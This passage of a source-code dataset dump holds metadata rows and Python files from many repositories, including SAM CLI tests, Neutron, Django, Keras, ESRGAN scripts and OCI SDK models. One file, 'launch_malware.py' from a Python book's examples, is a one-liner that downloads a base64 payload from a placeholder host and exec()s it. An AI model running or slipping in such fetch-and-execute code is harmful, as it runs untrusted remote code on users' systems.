] | 1 | 2022-03-30T07:20:29.000Z | 2022-03-30T07:20:29.000Z | # coding=utf-8
# Copyright 2022 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 33.658482 | 130 | 0.654752 |
6468332db8de40570bf841ed76a14f42216da9e2 | 6,140 | py | Python | tests/unit/commands/local/lib/swagger/test_parser.py | paoptu023/aws-sam-cli | e382d603f739e9694d64f622daa228ccfe4581f4 | [
"Apache-2.0"
] | 1 | 2019-06-27T15:18:46.000Z | 2019-06-27T15:18:46.000Z | tests/unit/commands/local/lib/swagger/test_parser.py | paoptu023/aws-sam-cli | e382d603f739e9694d64f622daa228ccfe4581f4 | [
"Apache-2.0"
] | 3 | 2020-01-27T05:20:12.000Z | 2020-10-03T01:01:11.000Z | tests/unit/commands/local/lib/swagger/test_parser.py | paoptu023/aws-sam-cli | e382d603f739e9694d64f622daa228ccfe4581f4 | [
"Apache-2.0"
] | 1 | 2020-10-14T15:57:07.000Z | 2020-10-14T15:57:07.000Z | """
Test the swagger parser
"""
from unittest import TestCase
from unittest.mock import patch, Mock
from parameterized import parameterized, param
from samcli.commands.local.lib.swagger.parser import SwaggerParser
from samcli.local.apigw.local_apigw_service import Route
class TestSwaggerParser_get_apis(TestCase):
... | 38.616352 | 119 | 0.619218 |
3cd718c8bf8da2ec682ca1f2a611e0cda21d98ea | 2,001 | py | Python | neutron/extensions/router_availability_zone.py | hashsos/hashcloudos-neutron | 76ec5ca105043be6bf7220b5c5684190ddf14952 | [
"Apache-2.0"
] | null | null | null | neutron/extensions/router_availability_zone.py | hashsos/hashcloudos-neutron | 76ec5ca105043be6bf7220b5c5684190ddf14952 | [
"Apache-2.0"
] | null | null | null | neutron/extensions/router_availability_zone.py | hashsos/hashcloudos-neutron | 76ec5ca105043be6bf7220b5c5684190ddf14952 | [
"Apache-2.0"
] | null | null | null | #
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... | 29.426471 | 75 | 0.682659 |
8d690ddf3760b84d66569e09427be9aed65ed103 | 397 | py | Python | usr/urls.py | exile-co/Bee | ad318f8c126ed461659bd8693112644aef3e56ed | [
"MIT"
] | null | null | null | usr/urls.py | exile-co/Bee | ad318f8c126ed461659bd8693112644aef3e56ed | [
"MIT"
] | null | null | null | usr/urls.py | exile-co/Bee | ad318f8c126ed461659bd8693112644aef3e56ed | [
"MIT"
] | 1 | 2015-11-09T17:01:59.000Z | 2015-11-09T17:01:59.000Z | # -*- encoding: utf8 -*-
from django.conf.urls import patterns, include, url
urlpatterns = patterns('',
# Examples:
url(r'^login/$', 'usr.views.login'),
url(r'^login/do/$', 'usr.views.login_do'),
url(r'^logout/$', 'usr.views.logout'),
url(r'^pass/cambio/$','usr.views.pass_cambio',name='pass_cambio... | 28.357143 | 70 | 0.629723 |
24251dc39c1095726d0d4f000cf48e3e54cfd096 | 74 | py | Python | PyRL/components/stairs.py | LordRhys/Game-Development | 457fd5d791b302800bbefbd2306c08c2fca8518a | [
"MIT"
] | null | null | null | PyRL/components/stairs.py | LordRhys/Game-Development | 457fd5d791b302800bbefbd2306c08c2fca8518a | [
"MIT"
] | null | null | null | PyRL/components/stairs.py | LordRhys/Game-Development | 457fd5d791b302800bbefbd2306c08c2fca8518a | [
"MIT"
] | null | null | null |
class Stairs:
def __init__(self, floor):
self.floor = floor
| 12.333333 | 30 | 0.608108 |
3e37acae112be791330f30d1a483fe509f1f3759 | 3,818 | py | Python | functions.py | doctorblinch/Experts-schedule-planning | e42be8ae2a2f0f7e9269924b77d6f2d2650cbd40 | [
"MIT"
] | null | null | null | functions.py | doctorblinch/Experts-schedule-planning | e42be8ae2a2f0f7e9269924b77d6f2d2650cbd40 | [
"MIT"
] | 3 | 2021-06-08T21:35:38.000Z | 2022-01-13T02:45:00.000Z | functions.py | doctorblinch/Experts-schedule-planning | e42be8ae2a2f0f7e9269924b77d6f2d2650cbd40 | [
"MIT"
] | null | null | null | import random
import os
def configure_height4graph_from_condition(condition):
min_val = min([i[0] for i in condition])
max_val = max([i[1] for i in condition])
height_lines = [[0] * (max_val + 1) for i in range(len(condition))]
new_condition = []
for section in condition:
layer = layer_t... | 30.790323 | 98 | 0.51912 |
113e7d0c353257ef8ea9ed15f58d280b757b78ae | 15,560 | py | Python | a10sdk/core/gslb/gslb_zone_service.py | deepfield/a10sdk-python | bfaa58099f51f085d5e91652d1d1a3fd5c529d5d | [
"Apache-2.0"
] | 16 | 2015-05-20T07:26:30.000Z | 2021-01-23T11:56:57.000Z | a10sdk/core/gslb/gslb_zone_service.py | deepfield/a10sdk-python | bfaa58099f51f085d5e91652d1d1a3fd5c529d5d | [
"Apache-2.0"
] | 6 | 2015-03-24T22:07:11.000Z | 2017-03-28T21:31:18.000Z | a10sdk/core/gslb/gslb_zone_service.py | deepfield/a10sdk-python | bfaa58099f51f085d5e91652d1d1a3fd5c529d5d | [
"Apache-2.0"
] | 23 | 2015-03-29T15:43:01.000Z | 2021-06-02T17:12:01.000Z | from a10sdk.common.A10BaseClass import A10BaseClass
class HealthCheckPort(A10BaseClass):
"""This class does not support CRUD Operations please use parent.
:param health_check_port: {"description": "Check Related Port Status (Port Number)", "minimum": 0, "type": "number", "maximum": 65534, "format": "num... | 134.137931 | 1,884 | 0.650514 |
63f157f611a0334f7d417fea677663af928b2695 | 145 | py | Python | Chapter08/launch_malware.py | PacktPublishing/Secret-Recipes-of-the-Python-Ninja | 805d00c7a54927ba94c9077e9a580508ee3c5e56 | [
"MIT"
] | 13 | 2018-06-21T01:44:49.000Z | 2021-12-01T10:49:53.000Z | Chapter08/launch_malware.py | PacktPublishing/Secret-Recipes-of-the-Python-Ninja | 805d00c7a54927ba94c9077e9a580508ee3c5e56 | [
"MIT"
] | null | null | null | Chapter08/launch_malware.py | PacktPublishing/Secret-Recipes-of-the-Python-Ninja | 805d00c7a54927ba94c9077e9a580508ee3c5e56 | [
"MIT"
] | 6 | 2018-10-05T08:29:24.000Z | 2022-01-11T14:49:50.000Z | python -c "import urllib.request, base64;
exec(base64.b64decode(
urllib.request.urlopen('http://my-exploit/py.b64')
).decode())"
| 29 | 58 | 0.655172 |
198846de8598e9f7e25c7f8350f8a990e12a8397 | 1,629 | py | Python | examples/benchmarks/pytorch_cnn.py | yangpanMS/superbenchmark | 4d85630abba0fe45b8cd3a51e79c15e6ac87a1e6 | [
"MIT"
] | 59 | 2021-04-12T09:44:23.000Z | 2022-03-27T14:33:46.000Z | examples/benchmarks/pytorch_cnn.py | yangpanMS/superbenchmark | 4d85630abba0fe45b8cd3a51e79c15e6ac87a1e6 | [
"MIT"
] | 275 | 2021-03-29T06:40:34.000Z | 2022-03-30T07:35:49.000Z | examples/benchmarks/pytorch_cnn.py | yangpanMS/superbenchmark | 4d85630abba0fe45b8cd3a51e79c15e6ac87a1e6 | [
"MIT"
] | 24 | 2021-04-09T12:42:27.000Z | 2022-03-16T08:26:34.000Z | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
"""Model benchmark example for CNN models.
Commands to run:
python3 examples/benchmarks/pytorch_cnn.py (Single GPU)
python3 -m torch.distributed.launch --use_env --nproc_per_node=8 examples/benchmarks/pytorch_cnn.py \
--distributed (Di... | 36.2 | 107 | 0.711479 |
315b2db44b7d2b3607c5822a15c032a0d0d4de66 | 878 | py | Python | app/test.py | GuilhermeJC13/storIA | eeecbe9030426f70c6aa73ca0ce8382860c8495c | [
"MIT"
] | 4 | 2021-07-27T23:39:02.000Z | 2021-09-23T04:17:08.000Z | app/test.py | GuilhermeJC13/storIA | eeecbe9030426f70c6aa73ca0ce8382860c8495c | [
"MIT"
] | null | null | null | app/test.py | GuilhermeJC13/storIA | eeecbe9030426f70c6aa73ca0ce8382860c8495c | [
"MIT"
] | 3 | 2021-07-27T17:33:58.000Z | 2021-07-29T12:46:59.000Z | import requests
API_URL = "https://api-inference.huggingface.co/models/Felipehonorato/storIA"
headers = {"Authorization": "Bearer api_CwzaLVoNBMVQhviuBtnxxdVoXvQgjuTEmW"}
def remove_token(text):
return " ".join(text.split()[1:])
def check_token(input):
token = '<|startoftext|> '
if input.split()[0] !... | 33.769231 | 98 | 0.664009 |
1239c5d3f5872e98ab9312ec109c802e090c4906 | 2,256 | py | Python | tests/controllers/test_citation_controller.py | Medisur/journalmanagement | bc356e8d3354529a14a5e04bec3d80c03ed1c0ec | [
"MIT"
] | 1 | 2019-04-16T08:53:16.000Z | 2019-04-16T08:53:16.000Z | tests/controllers/test_citation_controller.py | Medisur/journalmanagement | bc356e8d3354529a14a5e04bec3d80c03ed1c0ec | [
"MIT"
] | null | null | null | tests/controllers/test_citation_controller.py | Medisur/journalmanagement | bc356e8d3354529a14a5e04bec3d80c03ed1c0ec | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from gluon.html import URL
from gluon.storage import Storage
import json
def dict_to_storage(dictionary):
"""
Converts recursively a dictionary to a storage object
"""
new_storage = Storage(dictionary)
def list_dicts_to_storage(st_list):
for i, a in enumerate(st_lis... | 32.228571 | 70 | 0.656028 |
cf412c96e6b1a54a4991358ee02401f39db1b3a8 | 5,479 | py | Python | django/contrib/auth/tests/test_models.py | izquierdo/django | 9a2b07f1b45741da39a7606474aec3548780032b | [
"BSD-3-Clause"
] | null | null | null | django/contrib/auth/tests/test_models.py | izquierdo/django | 9a2b07f1b45741da39a7606474aec3548780032b | [
"BSD-3-Clause"
] | null | null | null | django/contrib/auth/tests/test_models.py | izquierdo/django | 9a2b07f1b45741da39a7606474aec3548780032b | [
"BSD-3-Clause"
] | null | null | null | import warnings
from django.conf import settings
from django.contrib.auth import get_user_model
from django.contrib.auth.models import (Group, User, SiteProfileNotAvailable,
UserManager)
from django.contrib.auth.tests.utils import skipIfCustomUser
from django.test import TestCase
from django.test.utils import over... | 38.314685 | 80 | 0.697025 |
6fa53094c5cf524b80e3a68853f4b7244a63724a | 2,090 | py | Python | codes/scripts/color2gray.py | achrefjarray/ESRGAN | 76f0fcb53062cdb718ffb6b75112fe39f0d18a17 | [
"Apache-2.0"
] | 106 | 2020-06-18T17:52:29.000Z | 2022-03-16T08:53:10.000Z | codes/scripts/color2gray.py | achrefjarray/ESRGAN | 76f0fcb53062cdb718ffb6b75112fe39f0d18a17 | [
"Apache-2.0"
] | 10 | 2020-06-23T14:17:48.000Z | 2022-02-21T07:40:19.000Z | codes/scripts/color2gray.py | achrefjarray/ESRGAN | 76f0fcb53062cdb718ffb6b75112fe39f0d18a17 | [
"Apache-2.0"
] | 15 | 2020-07-14T07:01:12.000Z | 2022-03-16T08:53:09.000Z | import os
import os.path
import sys
from multiprocessing import Pool
import cv2
sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from data.util import bgr2ycbcr
from utils.progress_bar import ProgressBar
def main():
"""A multi-thread tool for converting RGB images to gary/Y images."""... | 32.65625 | 100 | 0.673684 |
48d27d31439c661311e94e74c4d9ad1bede43a11 | 5,051 | py | Python | src/oci/devops/models/update_deliver_artifact_stage_details.py | ezequielramos/oci-python-sdk | cc4235cf217beaf9feed75760e9ce82610222762 | [
"Apache-2.0",
"BSD-3-Clause"
] | 3 | 2020-09-10T22:09:45.000Z | 2021-12-24T17:00:07.000Z | src/oci/devops/models/update_deliver_artifact_stage_details.py | ezequielramos/oci-python-sdk | cc4235cf217beaf9feed75760e9ce82610222762 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/oci/devops/models/update_deliver_artifact_stage_details.py | ezequielramos/oci-python-sdk | cc4235cf217beaf9feed75760e9ce82610222762 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | # coding: utf-8
# Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | 45.504505 | 245 | 0.724807 |
96ad4332e4d5d7537feb4b212ad4df304923520f | 42 | py | Python | 2020/crypto/desez_300/secret.py | ZJGSIS/ZJGSUCTF-Challenges | 460bfaa90f5d13a0958702fa4e479905713738bc | [
"MIT"
] | 1 | 2021-11-20T04:13:07.000Z | 2021-11-20T04:13:07.000Z | 2020/crypto/desez_300/secret.py | ZJGSIS/ZJGSUCTF-Challenges | 460bfaa90f5d13a0958702fa4e479905713738bc | [
"MIT"
] | null | null | null | 2020/crypto/desez_300/secret.py | ZJGSIS/ZJGSUCTF-Challenges | 460bfaa90f5d13a0958702fa4e479905713738bc | [
"MIT"
] | null | null | null | flag = "zjgsuctf{d3s_c4n_brUtef0rce!!!!}"
| 21 | 41 | 0.714286 |
424dc221d2f81a9d02b5ef6a5d7e4a3411dba666 | 10,525 | py | Python | dae/dae/tools/annotate_variants.py | iossifovlab/gpf | e556243d29666179dbcb72859845b4d6c011af2b | [
"MIT"
] | null | null | null | dae/dae/tools/annotate_variants.py | iossifovlab/gpf | e556243d29666179dbcb72859845b4d6c011af2b | [
"MIT"
] | 82 | 2019-07-22T11:44:23.000Z | 2022-01-13T15:27:33.000Z | dae/dae/tools/annotate_variants.py | iossifovlab/gpf | e556243d29666179dbcb72859845b4d6c011af2b | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import sys
import os.path
import time
import argparse
import pysam
from dae.genome import genome_access
from dae.genome.gene_models import load_gene_models
from dae.variant_annotation.annotator import (
VariantAnnotator as VariantAnnotation,
)
def cli_genome_options(parser):
genome_g... | 29.900568 | 79 | 0.607126 |
c696c522d62cbfb8f8fef3eae996f419cea1e93b | 412 | py | Python | bookmark/models.py | mentix02/medialist-backend | 397b1a382b12bab273360dadb0b3c32de43747cd | [
"MIT"
] | 1 | 2019-11-22T19:29:39.000Z | 2019-11-22T19:29:39.000Z | bookmark/models.py | mentix02/medialist-backend | 397b1a382b12bab273360dadb0b3c32de43747cd | [
"MIT"
] | 1 | 2019-11-25T09:50:07.000Z | 2021-07-15T07:05:28.000Z | bookmark/models.py | mentix02/medialist-backend | 397b1a382b12bab273360dadb0b3c32de43747cd | [
"MIT"
] | null | null | null | from django.db import models
from author.models import Author
from article.models import Article
class Bookmark(models.Model):
article = models.ForeignKey(Article, on_delete=models.CASCADE)
author = models.ForeignKey(Author, on_delete=models.CASCADE, related_name='bookmarks')
class Meta:
orderi... | 24.235294 | 90 | 0.711165 |
3362f023e362dc0dd981b5068d2ca97894eb5490 | 1,370 | py | Python | python/hangman/hangman.py | parkerbxyz/exercism | 2648a2654f067b0f44450ac0663ac49ee270565d | [
"MIT"
] | null | null | null | python/hangman/hangman.py | parkerbxyz/exercism | 2648a2654f067b0f44450ac0663ac49ee270565d | [
"MIT"
] | null | null | null | python/hangman/hangman.py | parkerbxyz/exercism | 2648a2654f067b0f44450ac0663ac49ee270565d | [
"MIT"
] | null | null | null | # Game status categories
STATUS_WIN = 'win'
STATUS_LOSE = 'lose'
STATUS_ONGOING = 'ongoing'
class Hangman:
def __init__(self, word: str):
self.remaining_guesses = 9
self.status = STATUS_ONGOING
self.word = word
self.masked_word = '_' * len(word)
self.guesses: list = []
... | 29.782609 | 71 | 0.618248 |
e3bf0c084d6460b2f11931b21c6d2d21e7a4db76 | 6,175 | py | Python | ganimides_server/ganimides_database/_good1.py | leandrou-technology-forward/ganimides_api_server | 8787927e2cf7568a070c1c65294ee76d89177908 | [
"MIT"
] | null | null | null | ganimides_server/ganimides_database/_good1.py | leandrou-technology-forward/ganimides_api_server | 8787927e2cf7568a070c1c65294ee76d89177908 | [
"MIT"
] | 1 | 2021-06-02T00:36:03.000Z | 2021-06-02T00:36:03.000Z | ganimides_server/ganimides_database/_good1.py | leandrou-technology-forward/ganimides_api_server | 8787927e2cf7568a070c1c65294ee76d89177908 | [
"MIT"
] | null | null | null | #https://wakatime.com/blog/32-flask-part-1-sqlalchemy-models-to-json
from flask import json
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.orm.attributes import QueryableAttribute
from wakatime_website import app
db = SQLAlchemy(app)
class BaseModel(db.Model):
__abstract__ = True
def to_dict(self, s... | 35.085227 | 164 | 0.508016 |
9ec84094526a13945cd7694c6984908a74159c69 | 770 | py | Python | generated-libraries/python/netapp/job/job_log_config_modify_iter_key_td.py | radekg/netapp-ontap-lib-get | 6445ebb071ec147ea82a486fbe9f094c56c5c40d | [
"MIT"
] | 2 | 2017-03-28T15:31:26.000Z | 2018-08-16T22:15:18.000Z | generated-libraries/python/netapp/job/job_log_config_modify_iter_key_td.py | radekg/netapp-ontap-lib-get | 6445ebb071ec147ea82a486fbe9f094c56c5c40d | [
"MIT"
] | null | null | null | generated-libraries/python/netapp/job/job_log_config_modify_iter_key_td.py | radekg/netapp-ontap-lib-get | 6445ebb071ec147ea82a486fbe9f094c56c5c40d | [
"MIT"
] | null | null | null | from netapp.netapp_object import NetAppObject
class JobLogConfigModifyIterKeyTd(NetAppObject):
"""
Key typedef for table jm_admin_log
"""
_key_0 = None
@property
def key_0(self):
"""
Field module
"""
return self._key_0
@key_0.setter
def key_0(self, v... | 22 | 87 | 0.548052 |
044f320fe7d5b23da63d9a9c89e78f60acafc0cc | 5,382 | py | Python | filer/admin/fileadmin.py | pietzschke/django-filer | 9c5ddc8a1327e2e3bf0652b0b73c43c1e5594e36 | [
"BSD-3-Clause"
] | null | null | null | filer/admin/fileadmin.py | pietzschke/django-filer | 9c5ddc8a1327e2e3bf0652b0b73c43c1e5594e36 | [
"BSD-3-Clause"
] | null | null | null | filer/admin/fileadmin.py | pietzschke/django-filer | 9c5ddc8a1327e2e3bf0652b0b73c43c1e5594e36 | [
"BSD-3-Clause"
] | null | null | null | from django import forms
from django.contrib.admin.utils import unquote
from django.http import HttpResponseRedirect
from django.urls import reverse
from django.utils.safestring import mark_safe
from django.utils.translation import gettext as _
from .. import settings
from ..models import File
from .permissions import... | 35.407895 | 79 | 0.567633 |
e10c07eaffe4fe488bb8bf70855dd6181771ad2f | 32,910 | py | Python | venv/lib/python3.8/site-packages/keras/engine/base_layer_utils.py | JIANG-CX/data_labeling | 8d2470bbb537dfc09ed2f7027ed8ee7de6447248 | [
"MIT"
] | 1 | 2021-05-24T10:08:51.000Z | 2021-05-24T10:08:51.000Z | venv/lib/python3.8/site-packages/keras/engine/base_layer_utils.py | JIANG-CX/data_labeling | 8d2470bbb537dfc09ed2f7027ed8ee7de6447248 | [
"MIT"
] | null | null | null | venv/lib/python3.8/site-packages/keras/engine/base_layer_utils.py | JIANG-CX/data_labeling | 8d2470bbb537dfc09ed2f7027ed8ee7de6447248 | [
"MIT"
] | null | null | null | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 36.729911 | 105 | 0.697296 |
c1a342bc87971651e3ac62943b8aaa992f45dbbe | 2,870 | py | Python | brain/brain_libs/LU_model/Doctorbot.py | zuxfoucault/DoctorBot_demo | 82e24078da4d2e6caba728b959812401109e014d | [
"MIT"
] | 1 | 2020-09-24T07:26:14.000Z | 2020-09-24T07:26:14.000Z | brain/brain_libs/LU_model/Doctorbot.py | lintzuhsiang/Doctorbot | 6be98bbf380d14bb789d30a137ded3b51b3f31fd | [
"MIT"
] | null | null | null | brain/brain_libs/LU_model/Doctorbot.py | lintzuhsiang/Doctorbot | 6be98bbf380d14bb789d30a137ded3b51b3f31fd | [
"MIT"
] | null | null | null | import db
import LU
import sys
DB_IP = "104.199.131.158" # doctorbot GCP ip
DB_PORT = 27017 # default MongoDB port
DB_NAME = "doctorbot" # use the collection
def main():
client = db.MongoClient(DB_IP, DB_PORT)
collection_division = client[DB_NAME]["division"]
collection_disease = client[DB_NAME]["dise... | 42.835821 | 117 | 0.558537 |
ce61c016bd3af7f43a31a0bab4fe1abfc80da463 | 2,991 | py | Python | Aula 7 - Fila/exercicio_sobre_fila_nota/filaCarro.py | EnedinoAndre/Estrutura-De-Dados-em-Python | 877c9f5c9fa703cc591a25070cd7ec8baa00476d | [
"MIT"
] | null | null | null | Aula 7 - Fila/exercicio_sobre_fila_nota/filaCarro.py | EnedinoAndre/Estrutura-De-Dados-em-Python | 877c9f5c9fa703cc591a25070cd7ec8baa00476d | [
"MIT"
] | null | null | null | Aula 7 - Fila/exercicio_sobre_fila_nota/filaCarro.py | EnedinoAndre/Estrutura-De-Dados-em-Python | 877c9f5c9fa703cc591a25070cd7ec8baa00476d | [
"MIT"
] | null | null | null | class Estacionamento():
#CONSTRUTOR
def __init__(self):
self.estacionamento = []
#ADICIONAR
def adicionarCarro(self, carro):
self.estacionamento.append(carro)
#TIRAR DA FILA
def retirar(self,placa):
placaBoolean = False
for i in self.estacionamento:
... | 33.606742 | 76 | 0.439652 |
092d02390a5e1e6226277aec116588c5b84a96c8 | 2,734 | py | Python | test/integration/tests/model_mapper/link_variable_to_constant_floats.py | AshKelly/PyAutoLens | 043795966338a655339e61782253ad67cc3c14e6 | [
"MIT"
] | null | null | null | test/integration/tests/model_mapper/link_variable_to_constant_floats.py | AshKelly/PyAutoLens | 043795966338a655339e61782253ad67cc3c14e6 | [
"MIT"
] | null | null | null | test/integration/tests/model_mapper/link_variable_to_constant_floats.py | AshKelly/PyAutoLens | 043795966338a655339e61782253ad67cc3c14e6 | [
"MIT"
] | null | null | null | import os
import shutil
from autofit import conf
from autofit.optimize import non_linear as nl
from autolens.data import ccd
from autolens.model.galaxy import galaxy, galaxy_model as gm
from autolens.pipeline import phase as ph
from autolens.pipeline import pipeline as pl
from autolens.model.profiles import light_prof... | 36.945946 | 114 | 0.691295 |
9a6bd509a5d8a88dad874aebe9990c22fb9cce35 | 3,339 | py | Python | Advanced_ML/Deep_Learning/plots.py | jrclimer/Projects | 6023f8309685d1a273d7e89993863c89ad85dfb5 | [
"MIT"
] | 27 | 2016-11-18T11:15:58.000Z | 2021-02-26T05:46:37.000Z | Advanced_ML/Deep_Learning/plots.py | imsrgadich/Projects_shang | a9d4395a98a79fb0a700a99168cd358ab7494fdf | [
"MIT"
] | 1 | 2022-01-21T16:09:40.000Z | 2022-01-21T16:30:10.000Z | Advanced_ML/Deep_Learning/plots.py | imsrgadich/Projects_shang | a9d4395a98a79fb0a700a99168cd358ab7494fdf | [
"MIT"
] | 22 | 2016-11-27T06:02:26.000Z | 2021-09-22T13:40:55.000Z | import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
try:
import cPickle as pickle
except:
import pickle
with open("batch_norm_accuracy.p","rb") as f:
batch_norm_accuracy = pickle.load(f)
with open("rbm_pretraining_accuracy.p","rb") as f:
rbm_pretraining_accuracy = pickle.load(f)
... | 45.121622 | 126 | 0.743336 |
36bebff1809a3d17ac207d96410e0907e74c07d8 | 7,616 | py | Python | synopy/base.py | gspanos/synopy | c99680308eb929bdef5d38eb100cd48e0403b705 | [
"MIT"
] | 14 | 2015-07-17T03:52:22.000Z | 2021-04-22T10:56:41.000Z | synopy/base.py | tipok/synopy | 276202e4f315577088df2abd5cc239a29620f570 | [
"MIT"
] | 1 | 2019-09-10T11:13:38.000Z | 2019-10-06T15:06:20.000Z | synopy/base.py | tipok/synopy | 276202e4f315577088df2abd5cc239a29620f570 | [
"MIT"
] | 14 | 2015-07-23T15:09:39.000Z | 2021-12-12T09:04:11.000Z | # -*- coding: utf-8 -*-
import json
try:
from urlparse import urljoin
except ModuleNotFoundError:
from urllib.parse import urljoin
import six
import requests
from .errors import format_error
WEBAPI_PREFIX = 'webapi'
class Authentication(object):
def __init__(self, sid, format='cookie'):
assert ... | 32.135021 | 83 | 0.59375 |
b0be3a99e96bd4840add000a3d6ff7467f3e2d70 | 4,570 | py | Python | bindings/python/cconfigspace/evaluation.py | deephyper/CCS | dd8c976eca2a510c995862cc5c871e81932f3ff4 | [
"BSD-3-Clause"
] | 1 | 2021-11-29T16:31:28.000Z | 2021-11-29T16:31:28.000Z | bindings/python/cconfigspace/evaluation.py | deephyper/CCS | dd8c976eca2a510c995862cc5c871e81932f3ff4 | [
"BSD-3-Clause"
] | 1 | 2021-12-15T10:37:41.000Z | 2021-12-15T10:48:24.000Z | bindings/python/cconfigspace/evaluation.py | deephyper/CCS | dd8c976eca2a510c995862cc5c871e81932f3ff4 | [
"BSD-3-Clause"
] | 2 | 2021-09-16T18:20:47.000Z | 2021-12-07T17:54:11.000Z | import ctypes as ct
from .base import Object, Error, CEnumeration, ccs_error, ccs_result, _ccs_get_function, ccs_context, ccs_hyperparameter, ccs_configuration_space, ccs_configuration, ccs_datum, ccs_datum_fix, ccs_objective_space, ccs_evaluation
from .context import Context
from .hyperparameter import Hyperparameter
... | 41.171171 | 227 | 0.745295 |
8eae78bf00eb9187a73cad02db25fd6a44569cba | 3,050 | py | Python | mementoweb/validator/tests/link_header_timegate_test.py | lanl/memento-validator | 1937fcbf98194af7d649438603466480683707f3 | [
"BSD-3-Clause"
] | 2 | 2022-01-11T17:08:56.000Z | 2022-02-21T15:01:00.000Z | mementoweb/validator/tests/link_header_timegate_test.py | lanl/memento-validator | 1937fcbf98194af7d649438603466480683707f3 | [
"BSD-3-Clause"
] | 1 | 2021-11-09T21:53:37.000Z | 2021-11-09T21:53:37.000Z | mementoweb/validator/tests/link_header_timegate_test.py | lanl/memento-validator | 1937fcbf98194af7d649438603466480683707f3 | [
"BSD-3-Clause"
] | null | null | null | #
# Copyright (c) 2021. Los Alamos National Laboratory (LANL).
# Written by: Bhanuka Mahanama (bhanuka@lanl.gov)
# Research and Prototyping Team, SRO-RL,
# Los Alamos National Laboratory
#
# Correspondence: Lyudmila Balakireva, PhD (ludab@lanl.gov)
# Resear... | 37.654321 | 119 | 0.697049 |
cc969a9a260956094fc97b518a86e2bbb3160e70 | 3,094 | py | Python | .buildkite/dagster-buildkite/dagster_buildkite/steps/integration.py | withshubh/dagster | ff4a0db53e126f44097a337eecef54988cc718ef | [
"Apache-2.0"
] | null | null | null | .buildkite/dagster-buildkite/dagster_buildkite/steps/integration.py | withshubh/dagster | ff4a0db53e126f44097a337eecef54988cc718ef | [
"Apache-2.0"
] | null | null | null | .buildkite/dagster-buildkite/dagster_buildkite/steps/integration.py | withshubh/dagster | ff4a0db53e126f44097a337eecef54988cc718ef | [
"Apache-2.0"
] | null | null | null | import os
from ..defines import GCP_CREDS_LOCAL_FILE
from ..module_build_spec import ModuleBuildSpec
from ..utils import connect_sibling_docker_container, network_buildkite_container
from .test_images import publish_test_images, test_image_depends_fn
SCRIPT_PATH = os.path.dirname(os.path.abspath(__file__))
def inte... | 40.181818 | 100 | 0.655785 |
04ed5e15ad151bf2f904f155a257774efbc8bcad | 2,213 | py | Python | scripts/savagedickey.py | hallav/LuxUS-HS | 12c0f0590fb40b2674feb5e8a1ccc1b6f0905b8c | [
"MIT"
] | 2 | 2020-06-26T16:33:04.000Z | 2021-10-17T10:39:39.000Z | scripts/savagedickey.py | hallav/LuxUS-HS | 12c0f0590fb40b2674feb5e8a1ccc1b6f0905b8c | [
"MIT"
] | null | null | null | scripts/savagedickey.py | hallav/LuxUS-HS | 12c0f0590fb40b2674feb5e8a1ccc1b6f0905b8c | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import numpy
import scipy.stats
#The Savage-Dickey estimator computation is based on the implementation by Äijö et al. (2016) available at https://github.com/tare/LuxGLM (MIT lisence)
def calculate_savagedickey(prior1_mean,prior1_cov,prior2_mean,prior2_cov,samples1,samples2):
samples1_mean ... | 48.108696 | 165 | 0.779485 |
e75126644b521a53b69326369c1ecb2a487269f7 | 1,698 | py | Python | tests/test_utils/platform_config.py | gyshi/intel-models | 4ead44aa254a84109ac8019f5d386e3adb75ac26 | [
"Apache-2.0"
] | 1 | 2019-09-11T21:41:36.000Z | 2019-09-11T21:41:36.000Z | tests/test_utils/platform_config.py | gyshi/intel-models | 4ead44aa254a84109ac8019f5d386e3adb75ac26 | [
"Apache-2.0"
] | null | null | null | tests/test_utils/platform_config.py | gyshi/intel-models | 4ead44aa254a84109ac8019f5d386e3adb75ac26 | [
"Apache-2.0"
] | 1 | 2019-09-11T21:41:51.000Z | 2019-09-11T21:41:51.000Z | #
# -*- coding: utf-8 -*-
#
# Copyright (c) 2018 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | 31.444444 | 75 | 0.646643 |
bc6ea7bfcc05e7da8c0d49faf5a100f270c66cbc | 1,531 | py | Python | test/functional/uacomment.py | wolfoxonly/bwb | aae01441cdc171ff7bbdc161b74b4eeb2f1b5a10 | [
"MIT"
] | null | null | null | test/functional/uacomment.py | wolfoxonly/bwb | aae01441cdc171ff7bbdc161b74b4eeb2f1b5a10 | [
"MIT"
] | null | null | null | test/functional/uacomment.py | wolfoxonly/bwb | aae01441cdc171ff7bbdc161b74b4eeb2f1b5a10 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2017 The Bwbcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the -uacomment option."""
from test_framework.test_framework import BwbcoinTestFramework
from test_fra... | 42.527778 | 136 | 0.683867 |
bdb4e4c89709f2142cd263c8f4920c6c78de9e69 | 1,022 | py | Python | bcs-ui/backend/resources/workloads/replicaset/formatter.py | kayinli/bk-bcs | 93a0856175f7b066ef835921572c1cac590dbd8e | [
